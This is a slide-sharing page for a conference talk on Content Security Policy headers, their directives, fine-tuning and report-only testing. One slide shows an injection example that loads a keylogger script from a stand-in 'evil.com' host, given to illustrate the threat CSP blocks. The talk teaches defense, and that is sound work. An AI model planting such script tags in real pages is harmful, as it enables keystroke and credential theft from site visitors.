D3LDN17 - Recruiting the Browser
•Download as PPTX, PDF•
1 like•417 views
This document discusses content security policies (CSP) and how they have evolved to improve browser security. It provides an overview of CSP directives that define valid sources of content for different types of resources, such as scripts, styles, and images. It also describes how to implement a basic CSP that limits resources to the current domain and test domains, as well as how to fine tune the policy for specific external scripts and styles. Finally, it briefly mentions other related security headers that can be used to further harden a site.
Recommended
Recommended
More Related Content
What's hot
What's hot (20)
Similar to D3LDN17 - Recruiting the Browser
Similar to D3LDN17 - Recruiting the Browser (20)
More from Imperva Incapsula
More from Imperva Incapsula (20)
Recently uploaded
Recently uploaded (20)
D3LDN17 - Recruiting the Browser
- 1. Recruiting The Browser @Scott_Helme | scotthelme.co.uk Scott Helme
- 10. How security has evolved
- 11. Browser support
- 13. Content Injection <html> <body> <comment> <script src=“evil.com/keylogger.js”></script> </comment> …
- 14. What is CSP? cache-control: max-age=0, no-cache content-encoding: gzip content-security-policy: [policy goes here] date: Tue, 17 Oct 2017 11:30:00 server: Incapsula status: 200
- 16. A basic policy Content-Security-Policy: default-src ‘self’ example.com
- 17. Fine tuning Content-Security-Policy: default-src ‘self’; script-src ‘self’ cdnjs.cloudflare.com ajax.googleapis.com <script src="https://ajax.googleapis.com/.../jquery.min.js"> </script> <script src="https://cdnjs.cloudflare.com/.../bootstrap.min.js"> </script>
- 18. Fine tuning Content-Security-Policy: default-src ‘self’; script-src [source list]; style-src [source list]; img-src [source list]; frame-src [source list];
- 19. Mixed-Content
- 20. Mixed-Content
- 21. Mixed-Content
- 24. Testing CSP Content-Security-Policy-Report-Only: [policy] Console: Refused to load the script ‘https://code.jquery.com/jquery.1.11.3min.js’ because it violates the following Content Security Policy directive: script-src
- 25. Testing CSP Content-Security-Policy-Report-Only: [policy] report-uri https://report-uri.io { "csp-report": { "document-uri": "http://scotthelme.co.uk/blah/", "violated-directive": "default-src https:", ”effective-directive": ”img-src", "blocked-uri": "http://imgur.com" ...
- 31. Secure all the things! @Scott_Helme | scotthelme.co.uk Scott Helme